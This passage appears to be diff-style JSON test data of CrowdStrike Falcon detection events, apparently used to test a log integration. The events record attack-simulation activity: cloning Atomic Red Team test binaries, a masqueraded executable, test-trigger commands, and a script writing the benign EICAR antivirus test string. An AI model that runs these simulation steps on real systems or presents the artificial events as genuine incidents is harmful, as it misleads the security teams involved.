enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root","ExternalApiType":"Event_EppDetectionSummaryEvent"}
